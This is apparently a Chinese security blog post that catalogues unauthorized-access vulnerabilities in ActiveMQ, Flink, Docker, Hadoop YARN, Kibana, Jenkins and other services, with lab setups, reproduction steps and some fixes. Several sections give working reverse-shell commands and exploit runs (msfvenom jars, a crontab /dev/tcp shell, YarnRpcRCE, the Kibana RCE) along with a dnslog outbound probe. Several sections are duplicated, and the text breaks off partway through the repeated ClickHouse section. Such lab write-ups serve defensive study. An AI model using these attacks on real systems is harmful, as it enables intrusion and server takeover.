Sublarge

// 安全研究 · 2025-03-08

未授权漏洞大赏

Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了了pdkinstall开发插件,使其存在安全漏漏洞洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限。

web安全网络安全

ActiveMQ未授权访问漏洞

漏洞描述

Apache ActiveMQ是美国阿帕奇（Apache）软件基金会所研发的一套开源的消息中间件，它支持Java消息服务、集群、Spring Framework等。 Apache ActiveMQ管理控制台的默认管理用户名和密码分别为admin和admin，用户可以未经授权使用默认凭据直接访问服务器，导致敏感信息泄露，并进一步进行攻击。

环境搭建

Download: http://archive.apache.org/dist/activemq/apache-activemq/5.5.0/apache-activemq-5.5.0-bin.tar.gz

[root@localhost bin]# ./activemq start
INFO: Using default configuration
(you can configure options in one of these file: /etc/default/activemq /root/.activemqrc)

INFO: Invoke the following command to create a configuration file
./activemq setup [ /etc/default/activemq | /root/.activemqrc ]

INFO: Using java '/usr/bin/java'
INFO: Starting - inspect logfiles specified in logging.properties and log4j.properties to get details
INFO: pidfile created : '/tmp/apache-activemq-5.5.0/data/activemq.pid' (pid '2173')
text10 行

Vulnerability Reproduction

直接访问：http://192.168.32.183:8161/admin/queues.jsp

修复方案

编辑 ${ACTIVEMQ_HOME}/conf/jetty.xml开启身份验证，将authenticate属性改为true：

<property name="authenticate" value="true" />
text1 行

编辑文件conf/jetty-realm.properties来更改Apache ActiveMQ的默认管理用户名和密码，格式如下：

重启服务就可以进行鉴权

Apache Flink未授权访问漏洞

漏洞描述

Apache Flink Dashboard默认没有用户权限认证，攻击者可以通过未授权的Flink Dashboard控制台直接上传木马jar包，可远程执行任意系统命令获取服务器权限。

环境搭建

测试版本：flink-1.15.1

修改flink-1.15.1/confflink-conf.yaml，将8081端口开启。

启动flink

start-cluster.sh
text1 行

漏洞利用

访问web页面。

利用msfovenom生成rce.jar

┌──(root💀kali)-[/tmp]
└─# msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.32.130 LPORT=4444 -f jar > rce.jar
Payload size: 5310 bytes
Final size of jar file: 5310 bytes
text4 行

配置msf监听

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 1291.68.32.130
lhost => 1291.68.32.130
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
text9 行

在Submit New Job处上传rec.jar文件，点击submit。

成功getshell。

Atlassian Crowd 未授权访问漏洞

CVE-2019-11580

漏洞概述

Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了了pdkinstall开发插件,使其存在安全漏漏洞洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限

影响版本

  • 2.1.0 <= version < 3.0.5
  • 3.1.0 <= version < 3.1.6
  • 3.2.0 <= version < 3.2.8
  • 3.3.0 <= version < 3.3.5
  • 3.4.0 <= version < 3.4.4

环境搭建

下载搭建Atlassian-crowd-3.4.3，配置漏洞环境，下载crowd3.4.3的版本

wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip
text1 行

修改配置文件

[root@localhost atlassian-crowd-3.4.3]# pwd
/opt/atlassian-crowd-3.4.3
[root@localhost atlassian-crowd-3.4.3]# vim crowd-webapp/WEB-INF/classes/crowd-init.properties
text3 行

更改主目录的路径

启动crowd

[root@localhost atlassian-crowd-3.4.3]# sh start_crowd.sh 
To run Crowd in the foreground, start the server with start_crowd.sh -fg
Using CATALINA_BASE:   /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_HOME:   /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_TMPDIR: /opt/atlassian-crowd-3.4.3/apache-tomcat/temp
Using JRE_HOME:        /usr
Using CLASSPATH:       /opt/atlassian-crowd-3.4.3/apache-tomcat/bin/bootstrap.jar:/opt/atlassian-crowd-3.4.3/apache-tomcat/bin/tomcat-juli.jar
Using CATALINA_PID:    /opt/atlassian-crowd-3.4.3/apache-tomcat/work/catalina.pid
Tomcat started.
text9 行

访问8095端口

得到服务器 id B1DP-2T7V-FIPR-PEBO 后通过破解程序atlassian-agent.jar获取许可证信息

生成破解码

安装完成

漏洞利用

CVE-2019-11580.py利用脚本

然后访问获取的shell地址，无需认证登录即可获取IP地址。

clickhouse 未授权访问漏洞

漏洞描述

恶意攻击者可以在不提供有效凭据的情况下访问 ClickHouse 服务器。这可能导致未经授权的访问敏感数据，或允许攻击者修改或删除数据。默认情况下，clickhouse-server会在8123端口上监控HTTP请求（这可以在配置中修改）。

环境搭建

sudo apt-get install -y apt-transport-https ca-certificates dirmngr
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 8919F6BD2B48D754

echo "deb https://packages.clickhouse.com/deb stable main" | sudo tee \
    /etc/apt/sources.list.d/clickhouse.list
sudo apt-get update

sudo apt-get install -y clickhouse-server clickhouse-client

sudo service clickhouse-server start
clickhouse-client
text11 行

漏洞复现

首先确定是否使用了 ClickHouse 数据库的接口

curl http://192.168.0.5:8123
text1 行

根据文档得知，正常返回为 Ok. , 且存在 X-ClickHouse-Summary 作为返回包的 Header

测试是否可以执行SQL命令, 部分会开启身份验证导致未授权执行失败

/?query=SHOW%20DATABASES
text1 行

成功执行语句获取数据，执行其他命令探测出网

http://192.168.0.5:8123/?query=SELECT%20*%20FROM%20url(%27http://cf1cfb13.dns.1433.eu.org/%27,%20CSV,%20%27column1%20String,%20column2%20UInt32%27)%20LIMIT%203;
text1 行

可以查看 system库中的执行记录表来获取最近执行的所有SQL语句来快速定位可利用的信息(获取敏感用户信息，数据库名以及数据表名)

CouchDB未授权访问漏洞

漏洞描述

CouchDB因配置不当可以未授权访问，被攻击者恶意利用。

攻击者无需认证访问到内部数据，可能导致敏感信息泄露，黑客也可以恶意清空所有数据。

漏洞搭建

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/README.zh-cn.md

使用docker-compose启动。

cd couchdb/CVE-2017-12636/
docker-compose up -d
bash2 行

漏洞利用

访问5984端口，就可以看到版本信息。

访问/_config接口，可以看到couchDB配置信息。

Docker未授权访问漏洞

漏洞描述

恶意攻击者可以在未经授权的情况下访问 Docker 服务器或容器。这可能导致敏感数据泄露，或允许攻击者执行未经授权的操作，如添加、修改或删除容器。

环境搭建

安装docker

yum install -y docker
text1 行

修改/usr/lib/systemd/system/docker.service服务，启动API接口。

ExecStart=/usr/local/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock
text1 行

重启docker服务。

systemctl daemon-reload
systemctl restart docker
text2 行

漏洞复现

输入ip:2375/version就会列出基本信息，和docker version命令效果一样。

利用docker容器写定时任务反弹shell

我们可以利用未授权访问的docker remote api 开启一个容器并挂载至根目录，由此我们可以获得任意读写的权限，然后我们再将反弹shell命令写入定时任务crontab中，即可使宿主机反弹shell。

[root@localhost ~]# docker -H tcp://192.168.32.183:2375 run -it --user root --privileged -v /var/spool/cron/:/var/spool/cron/ alpine sh
text1 行

写入定时计划

/ # echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/8088 0>&1' >> /var/spool/cron/root
text1 行

安全加固

在不必需的情况下，不要启用docker的remote api服务，如果必须使用的话，可以采用如下的加固方式：

设置ACL，仅允许信任的来源IP连接；
设置TLS认证，官方的文档为Protect the Docker daemon socket
text2 行

客户端与服务器端通讯的证书生成后，可以通过以下命令启动docker daemon：

docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock
text1 行

客户端连接时需要设置以下环境变量

export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
text4 行

druid 监控页未授权访问漏洞

漏洞简介

Druid是阿里巴巴数据库出品的，为监控而生的数据库连接池，并且Druid提供的监控功能，监控SQL的执行时间、监控Web URI的请求、Session监控，首先Druid是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问.

环境搭建

pom.xml配置

application.properties配置

#数据库连接
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/t1?serverTimezone=Asia/Shanghai
spring.datasource.username=sec
spring.datasource.password=sec123

##启用StatFilter
spring.datasource.druid.web-stat-filter.enabled=true

#启用内置的监控页面
spring.datasource.druid.stat-view-servlet.enabled=true
text11 行

漏洞复现

直接访问druid/index.html。

可以通过session功能进行伪造用户进行登录

修复方法

禁用durid

application.properties配置

spring.datasource.druid.stat-view-servlet.enabled=false
spring.datasource.druid.web-stat-filter.enabled=false
text2 行

设置鉴权

#设置登录用户名
spring.datasource.druid.stat-view-servlet.login-username=admin
#设置登录密码
spring.datasource.druid.stat-view-servlet.login-password=123
text4 行

修改路径

##内置监控页面的地址
spring.datasource.druid.stat-view-servlet.url-pattern=/druid11111111111111111111111111111/*
text2 行

Dubbo 未授权访问漏洞

漏洞简介

Dubbo是阿里巴巴公司开源的一个高性能优秀的 服务框架，使得应用可通过高性能的 RPC 实现服务的输 出和输入功能，可以和 Spring框架无缝集成。dubbo 因配置不当导致未授权访问漏洞。

环境搭建

git clone https://github.com/alibaba/dubbo/tree/2.5.x
text1 行

进入dubbo-2.5.x 目录

执行mvn clean package -Dmaven.test.skip=true会生成如下结果

在dubbo-2.5.x/dubbo-simple/dubbo-monitor-simple/target目录会发现生成了dubbo-monitor-simple-2.5.10-assembly.tar.gz，解压这个文件夹

查看配置文件，会看到dubbo协议端口为7070

[root@localhost dubbo-monitor-simple-2.5.10]# cat conf/dubbo.properties 

dubbo.container=log4j,spring,registry,jetty
dubbo.application.name=simple-monitor
dubbo.application.owner=
dubbo.registry.address=multicast://224.5.6.7:1234
#dubbo.registry.address=zookeeper://127.0.0.1:2181
#dubbo.registry.address=redis://127.0.0.1:6379
#dubbo.registry.address=dubbo://127.0.0.1:9090
dubbo.protocol.port=7070
dubbo.jetty.port=8080
dubbo.jetty.directory=${user.home}/monitor
dubbo.charts.directory=${dubbo.jetty.directory}/charts
dubbo.statistics.directory=${user.home}/monitor/statistics
dubbo.log4j.file=logs/dubbo-monitor-simple.log
text15 行

启动dubbo

[root@localhost dubbo-monitor-simple-2.5.10]# bin/start.sh
text1 行

漏洞利用

nc连接7070端口，7070端口允许您执行各种管理任务，如查看注册表的状态、列出可用服务和查看注册表的日志级别。

如果服务具有命令执行功能，则使用 “invoke” 命令可能会执行命令，因为 “invoke” 命令用于调用特定的服务方法。

Hadoop YARN resourcemanager 未授权访问漏洞

漏洞描述

负责对资源进行同一管理调度的ReasourceManager组件的UI管理界面开放在8080/8088端口，攻击者无需认证即可通过REST API部署任务来执行任意命令，最终可完全控制集群中所有的机器。

环境搭建

使用vulhub

[root@localhost ~]# ls /opt/vulhub-master/hadoop/unauthorized-yarn/
docker-compose.yml  exploit.py  README.md

[root@localhost ~]# docker-compose up
text4 行

访问8088端口，可以看到Hadoop YARN ResourceManager WebUI界面。

漏洞利用

启动nc

[root@localhost ~]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
text4 行

攻击脚本

成功攻击成功

Hadoop Yarn RPC未授权访问漏洞

漏洞简述

Hadoop Yarn作为Hadoop核心组件之一，负责将资源分配至各个集群中运行各种应用程序，并调度不同集群节点上的任务执行。Hadoop Yarn默认对外开放RPC服务，攻击者可利用RPC服务执行任意命令，控制服务器。

同时由于Hadoop Yarn RPC服务访问控制机制开启方式与REST API不一样，因此即使在 REST API有授权认证的情况下，RPC服务所在端口仍然可以未授权访问。

环境搭建

https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn

需要修改docker-compose.yml，添加8032端口映射。

curl请求8032端口。

[root@localhost tmp]# curl http://192.168.32.183:8032
It looks like you are making an HTTP request to a Hadoop IPC port. This is not the correct port for the web interface on this daemon.
text2 行

漏洞利用

EXP：https://github.com/cckuailong/YarnRpcRCE

[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "curl 0dccw6.dnslog.cn"
log4j:WARN No appenders could be found for logger (org.apache.hadoop.util.Shell).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.
text4 行

查看日志

反弹shell

[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "bash -i >& /dev/tcp/192.168.32.183/9999 0>&1"
text1 行

成功建立连接

[root@localhost tmp]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.19.0.5.
Ncat: Connection from 172.19.0.5:59812.
bash: cannot set terminal process group (271): Inappropriate ioctl for device
bash: no job control in this shell
<00863_0003/container_1658816800863_0003_01_000001# whoami
whoami
root
<00863_0003/container_1658816800863_0003_01_000001#
text12 行

漏洞修复

  1. Apache Hadoop官方建议用户开启Kerberos认证。
  2. 设置 Hadoop RPC服务所在端口仅对可信地址开放。
  3. 建议升级并启用Kerberos的认证功能，阻止未经授权的访问。

InfluxDB API 未授权访问漏洞

JBoss未授权访问漏洞

漏洞描述

JBoss 是一个管理 EJB 的容器和服务器，支持 EJB 1.1、EJB 2.0 和 EJB3 的规范。但 JBoss 核心服务不包括支持 servlet/JSP 的 WEB 容器，一般与 Tomcat 或 Jetty 绑定使用。JBoss 默认在 8080 端口监听。

在低版本的 JBoss 中，默认可以访问 JBoss Web 控制台(http://IP:8080/jmx-console)，无需用户名和密码。通过 JBoss 未授权访问管理控制台的漏洞，可以进行后台服务管理，可以通过脚本命令执行系统命令，如反弹 shell、wget 写 Webshell 文件。

环境搭建

这里用CVE-2017-7504的漏洞环境，启动环境

[root@localhost CVE-2017-7504]# docker-compose up
text1 行

浏览器访问8080端口

漏洞复现

发现jboss默认页面,点击进入控制页

假设是未授权访问的话，点击JMX-Console不会提示输入用户名、密码，而这个地方用的是别的漏洞的环境，用户名密码都是admin、admin，所以就假装是不用输入用户名密码的

往下找jboss.deployment进入应用部署页面

进入应用部署页面后，下滑找到void addURL()，这里ParamValue部分填写远程服务器上的木马的地址。

访问iceword路径，就可以看到webshell

Jenkins未授权访问漏洞

漏洞描述

部署Jenkins 1.62版本，将全局授权策略打开，目前新版本的Jenkins已默认需要用户登录，但老版的中默认配置是“任意用户可以做任何事”，存在未授权访问的问题。

环境搭建

选择1.62版本进行下载，http://archives.jenkins-ci.org/war-stable/1.625.1/jenkins.war

将WAR包丢到tomcat的webapps里面，启动tomcat

漏洞复现

进入管理页面：http://192.168.32.131:8080/jenkins/manage

进入脚本命令行，后缀输入script进入脚本命令行，输入：println "ls".execute().text，就可以执行ls命令。

Jupyter Notebook 未授权访问漏洞

漏洞描述

Jupyter Notebook（此前被称为 IPython notebook）是一个交互式笔记本，支持运行 40 多种编程语言。

如果管理员未为 Jupyter Notebook 配置密码，将导致未授权访问漏洞，游客可在其中创建一个 console 并执行任意 Python 代码和命令。

环境搭建

version: '2'
services:
 web:
   image: vulhub/jupyter-notebook:5.2.2
   command: start-notebook.sh --NotebookApp.token=''
   ports:
    - "8888:8888"
text7 行

运行后，访问 http://your-ip:8888 将看到 Jupyter Notebook 的 Web 管理界面，并没有要求填写密码。

漏洞复现

选择 new -> terminal 即可创建一个控制台：

直接执行任意命令：

Kafka Manager 未授权访问漏洞

漏洞描述

Kafka Manager是一款用于管理和监控Apache Kafka集群的工具。如果Kafka Manager未正确配置并对外开放，攻击者可能会未授权访问Kafka Manager，从而获取敏感信息，如Kafka集群的配置和使用情况。

此外，如果攻击者具有足够的权限，他们还可以操作Kafka集群，如创建主题、修改配置等，对系统造成威胁。

环境搭建

zookeeper

docker run -d  -p 2181:2181 -e TZ="Asia/Shanghai" wurstmeister/zookeeper:latest
text1 行

kafka-manager

docker run -d -p 9000:9000 -e ZK_HOSTS=192.168.32.183:2181 sheepkiller/kafka-manager:latest
text1 行

漏洞利用

访问9000端口，即可未授权访问Kafka管理界面

查看集群信息。

Kibana 未授权访问漏洞

漏洞描述

Kibana 未授权访问漏洞是指在 Kibana 未正确配置认证和授权的情况下，未经身份验证的用户可以访问 Kibana 的仪表板、数据及其他敏感信息。这种漏洞可能会导致数据泄露、攻击者控制 Kibana 环境以及其他安全威胁。

环境搭建

安装elasticsearch

cd /opt
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.5.3.tar.gz
tar -zxvf elasticsearch-6.5.3.tar.gz
cd elasticsearch-6.5.3
useradd es
chmod 777 -R /opt/elasticsearch-6.5.3
./bin/elasticsearch
text7 行

安装kibana

wget https://artifacts.elastic.co/downloads/kibana/kibana-6.5.3-linux-x86_64.tar.gz
tar xvf kibana-6.5.3-linux-x86_64.tar.gz
cd kibana-6.5.3-linux-x86_64
./bin/kibana
text4 行

浏览器访问5601端口。

漏洞利用

exp：https://github.com/LandGrey/CVE-2019-7609

[root@localhost CVE-2019-7609-master]# python CVE-2019-7609-kibana-rce.py -u 127.0.0.1:5601 -host 192.168.32.130 -port 9999 --shell
[+] http://127.0.0.1:5601 maybe exists CVE-2019-7609 (kibana < 6.6.1 RCE) vulnerability
[+] reverse shell completely! please check session on: 192.168.32.130:9999
text3 行

Kong未授权访问漏洞

漏洞描述

Kong未授权访问漏洞（CVE-2020-11710）是指在Kong API网关系统中存在未授权访问漏洞，攻击者可以利用该漏洞获取或修改管理员凭证、读取任意文件以及远程执行任意代码。该漏洞由于Kong API网关系统未对请求进行严格验证导致。

影响版本

Kong < V2.0.3

环境搭建

创建Docker网络

[root@localhost ~]# docker network create kong-net
8c13241e04425db93e67c0c69c1adb7ca8adcb2701d67b43f2c20f4e76b9d613
text2 行

拉取并启动PostgreSQL容器

docker run -d  --network=kong-net  -p 5432:5432 -e "POSTGRES_USER=kong"   -e "POSTGRES_DB=kong"  -e "POSTGRES_PASSWORD=kong"  postgres:9.6
text1 行

数据库安装后，可进入postgres容器，创建kong用户及数据库kong

docker exec -it container_id /bin/bash
#切换用户
su postgres
#进入命令
psql;
#创建用户kong及密码
create user kong with password 'kong';
#创建数据库kong
create database kong owner kong;
#查看创建后的数据库(可省)
\l
text11 行

初始化数据库

docker run --rm \
     --network=kong-net \
     -e "KONG_DATABASE=postgres" \
     -e "KONG_PG_HOST=kong-database" \
     -e "KONG_PG_USER=kong" \
     -e "KONG_PG_PASSWORD=kong" \
     -e "KONG_CASSANDRA_CONTACT_POINTS=kong-database" \
     kong:2.0.2 kong migrations bootstrap
text8 行

启动kong

docker run -it  \
     --network=kong-net \
     -e "KONG_DATABASE=postgres" \
     -e "KONG_PG_HOST=kong-database" \
     -e "KONG_PG_PASSWORD=kong" \
     -e "KONG_CASSANDRA_CONTACT_POINTS=kong-database" \
     -e "KONG_PROXY_ACCESS_LOG=/dev/stdout" \
     -e "KONG_ADMIN_ACCESS_LOG=/dev/stdout" \
     -e "KONG_PROXY_ERROR_LOG=/dev/stderr" \
     -e "KONG_ADMIN_ERROR_LOG=/dev/stderr" \
     -e "KONG_ADMIN_LISTEN=0.0.0.0:8001, 0.0.0.0:8444 ssl" \
     -p 8000:8000 \
     -p 8443:8443 \
     -p 8001:8001 \
     -p 8444:8444 \
     kong:2.0.2
text16 行

漏洞利用

访问http://192.168.32.130:8000

利用 Admin Restful API ，在Kong Gateway上注册一个新的“服务”(web API) 指向内网的敏感站点 http://192.168.32.130:8000

$ curl -i -X POST http://127.0.0.1:8001/services --data name=target --data url='http://192.168.32.130:8000'
bash1 行

添加一个路由，paths[]的值为 /site1，name的值为 111111

curl -i -X POST http://127.0.0.1:8001/services/target/routes  --data 'paths[]=/site1' --data 'name=111111'
text1 行

Kubernetes Api Server 未授权访问

漏洞描述

Kubernetes 的服务在正常启动后会开启两个端口：Localhost Port （默认8080）、Secure Port （默认6443）。这两个端口都是提供 Api Server 服务的，一个可以直接通过 Web 访问，另一个可以通过 kubectl 客户端进行调用。如果运维人员没有合理的配置验证和权限，那么攻击者就可以通过这两个接口去获取容器的权限。

环境搭建

ubuntu 18.04

下载

wget https://github.com/kubernetes/minikube/releases/download/v1.18.1/minikube-linux-amd64
mv minikube-linux-amd64 minikube
chmod 777 minikube

wget "https://storage.googleapis.com/kubernetes-release/release/v1.18.3/bin/linux/amd64/kubectl" -O "/usr/local/bin/kubectl"
chmod 755 /usr/local/bin/kubectl
text6 行

启动K8S

sudo sysctl -w net/netfilter/nf_conntrack_max=131072
./minikube start --kubernetes-version=v1.18.3 --force --driver=docker  --extra-config=apiserver.anonymous-auth=true
text2 行

启动仪表盘

root@l-virtual-machine:/opt# ./minikube dashboard
* Enabling dashboard ...
  - Using image kubernetesui/dashboard:v2.1.0
  - Using image kubernetesui/metrics-scraper:v1.0.4
* Verifying dashboard health ...
* Launching proxy ...
* Verifying proxy health ...
http://127.0.0.1:35293/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/
text8 行

把K8S API映射出去

root@l-virtual-machine:/opt# kubectl proxy  --port=8088 --address='0.0.0.0' --accept-hosts='^.*'
Starting to serve on [::]:8088
text2 行

漏洞检测

仪表盘

http://192.168.32.141:8088/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/#/overview?namespace=default
text1 行

漏洞修复

  • 进行授权认证；
  • 使用Service Account令牌；
  • 设置防火墙策略，限定IP访问服务；

LDAP未授权访问漏洞

介绍

LDAP的全称为Lightweight Directory Access Protocol(轻量级目录访问协议), 基于X.500标准, 支持 TCP/IP。

LDAP目录为数据库，通过LDAP服务器(相当于DBMS)处理查询和更新, 以树状的层次结构来存储数据,相对关系型数据库, LDAP主要是优化数据读取的性能,适用于比较少改变、跨平台的信息。

LDAP属性

属性 全名 描述
dn distinguished name 唯一标识名，类似于绝对路径，每个对象都有唯一标识名。 例如：uid=tester,ou=People,dc=example,dc=com
rdn relative 相对标识名，类似于相对路径。 例如：uid=tester
uid user id 通常指用户登录名。 例如：uid=tester
sn sur name 通常指一个人的姓氏。 例如：sn: Su
giveName 通常指一个人的名字。 例如：giveName: Aldwin
I 通常指一个地方的地名。 例如：I: Beijing
objectClass objectClass是特殊属性，包含数据存储的方式以及相关属性信息。
dc domain component 通常指定一个域名。 例如：dc=example,dc=com
ou organization unit 通常指定一个组织单元的名称。 例如：ou=people,dc=example,dc=com
cn common name 通常指一个对象的名称。如果是人，需要使用全名。
c country 一个二位的国家代码。 例如：CN、US、HK、JP等。

环境搭建

docker run -p 389:389 -p 636:636 --name my-openldap-container --detach osixia/openldap:1.5.0
text1 行

漏洞复现

docker exec my-openldap-container ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin
text1 行

Memcached未授权访问漏洞

漏洞描述

Memcached是一个高速缓存系统，用于存储网络上的大量动态数据。未授权访问漏洞指的是，在没有对Memcached的访问控制的情况下，任意人可以在未经授权的情况下访问和读取存储在Memcached中的数据。这可能导致敏感信息泄露，包括用户密码、信用卡信息等。

环境搭建

wget http://memcached.org/files/old/memcached-1.4.14.tar.gz
tar -zxvf memcached-1.4.14.tar.gz
cd memcached-1.4.14.tar.gz
./configure && make && make test && sudo make install
text4 行

启动Memcached

漏洞利用

扫描端口

[root@localhost bin]# nmap -p 11211 -sV 192.168.32.183

Starting Nmap 6.40 ( http://nmap.org ) at 2022-07-26 06:35 EDT
Nmap scan report for 192.168.32.183
Host is up (0.000052s latency).
PORT      STATE SERVICE   VERSION
11211/tcp open  memcached Memcached 1.4.14

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.32 seconds
text10 行

缓存管理命令：

stats 命令的功能正如其名：转储所连接的 memcached 实例的当前统计数据。在下例中，执行 stats 命令显示了关于当前 memcached 实例的信息

以上信息显示了当前的流量统计。它服务于连接数量、数据存储到缓存中、缓存命中率以及有关内存使用情况的详细信息以及通过用于存储单个项目的平板分配信息的分布。

flush_all 命令。这个最简单的命令仅用于清理缓存中的所有名称/值对。如果您需要将缓存重置到干净的状态。

统计slabs信息

使用msf找到key

ActiveMQ未授权访问漏洞

漏洞描述

Apache ActiveMQ是美国阿帕奇（Apache）软件基金会所研发的一套开源的消息中间件，它支持Java消息服务、集群、Spring Framework等。 Apache ActiveMQ管理控制台的默认管理用户名和密码分别为admin和admin，用户可以未经授权使用默认凭据直接访问服务器，导致敏感信息泄露，并进一步进行攻击。

环境搭建

Download: http://archive.apache.org/dist/activemq/apache-activemq/5.5.0/apache-activemq-5.5.0-bin.tar.gz

[root@localhost bin]# ./activemq start
INFO: Using default configuration
(you can configure options in one of these file: /etc/default/activemq /root/.activemqrc)

INFO: Invoke the following command to create a configuration file
./activemq setup [ /etc/default/activemq | /root/.activemqrc ]

INFO: Using java '/usr/bin/java'
INFO: Starting - inspect logfiles specified in logging.properties and log4j.properties to get details
INFO: pidfile created : '/tmp/apache-activemq-5.5.0/data/activemq.pid' (pid '2173')
text10 行

Vulnerability Reproduction

直接访问：http://192.168.32.183:8161/admin/queues.jsp

修复方案

编辑 ${ACTIVEMQ_HOME}/conf/jetty.xml开启身份验证，将authenticate属性改为true：

<property name="authenticate" value="true" />
text1 行

编辑文件conf/jetty-realm.properties来更改Apache ActiveMQ的默认管理用户名和密码，格式如下：

重启服务就可以进行鉴权

Apache Flink未授权访问漏洞

漏洞描述

Apache Flink Dashboard默认没有用户权限认证，攻击者可以通过未授权的Flink Dashboard控制台直接上传木马jar包，可远程执行任意系统命令获取服务器权限。

环境搭建

测试版本：flink-1.15.1

修改flink-1.15.1/confflink-conf.yaml，将8081端口开启。

启动flink

start-cluster.sh
text1 行

漏洞利用

访问web页面。

利用msfovenom生成rce.jar

┌──(root💀kali)-[/tmp]
└─# msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.32.130 LPORT=4444 -f jar > rce.jar
Payload size: 5310 bytes
Final size of jar file: 5310 bytes
text4 行

配置msf监听

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 1291.68.32.130
lhost => 1291.68.32.130
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
text9 行

在Submit New Job处上传rec.jar文件，点击submit。

成功getshell。

Atlassian Crowd 未授权访问漏洞

CVE-2019-11580

漏洞概述

Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了了pdkinstall开发插件,使其存在安全漏漏洞洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限

影响版本

  • 2.1.0 <= version < 3.0.5
  • 3.1.0 <= version < 3.1.6
  • 3.2.0 <= version < 3.2.8
  • 3.3.0 <= version < 3.3.5
  • 3.4.0 <= version < 3.4.4

环境搭建

下载搭建Atlassian-crowd-3.4.3，配置漏洞环境，下载crowd3.4.3的版本

wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip
text1 行

修改配置文件

[root@localhost atlassian-crowd-3.4.3]# pwd
/opt/atlassian-crowd-3.4.3
[root@localhost atlassian-crowd-3.4.3]# vim crowd-webapp/WEB-INF/classes/crowd-init.properties
text3 行

更改主目录的路径

启动crowd

[root@localhost atlassian-crowd-3.4.3]# sh start_crowd.sh 
To run Crowd in the foreground, start the server with start_crowd.sh -fg
Using CATALINA_BASE:   /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_HOME:   /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_TMPDIR: /opt/atlassian-crowd-3.4.3/apache-tomcat/temp
Using JRE_HOME:        /usr
Using CLASSPATH:       /opt/atlassian-crowd-3.4.3/apache-tomcat/bin/bootstrap.jar:/opt/atlassian-crowd-3.4.3/apache-tomcat/bin/tomcat-juli.jar
Using CATALINA_PID:    /opt/atlassian-crowd-3.4.3/apache-tomcat/work/catalina.pid
Tomcat started.
text9 行

访问8095端口

得到服务器 id B1DP-2T7V-FIPR-PEBO 后通过破解程序atlassian-agent.jar获取许可证信息

生成破解码

安装完成

漏洞利用

CVE-2019-11580.py利用脚本

然后访问获取的shell地址，无需认证登录即可获取IP地址。

clickhouse 未授权访问漏洞

漏洞描述

恶意攻击者可以在不提供有效凭据的情况下访问 ClickHouse 服务器。这可能导致未经授权的访问敏感数据，或允许攻击者修改或删除数据。默认情况下，clickhouse-server会在8123端口上监控HTTP请求（这可以在配置中修改）。

环境搭建

sudo apt-get install -y apt-transport-https ca-certificates dirmngr
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 8919F6BD2B48D754

echo "deb https://packages.clickhouse.com/deb stable main" | sudo tee \
    /etc/apt/sources.list.d/clickhouse.list
sudo apt-get update

sudo apt-get install -y clickhouse-server clickhouse-client

sudo service clickhouse-server start
clickhouse-client
text11 行

漏洞复现

首先确定是否使用了 ClickHouse 数据库的接口

curl http://192.168.0.5:8123
text1 行

根据文档得知，正常返回为 Ok. , 且存在 X-ClickHouse-Summary 作为返回包的 Header

测试是否可以执行SQL命令, 部分会开启身份验证导致未授权执行失败

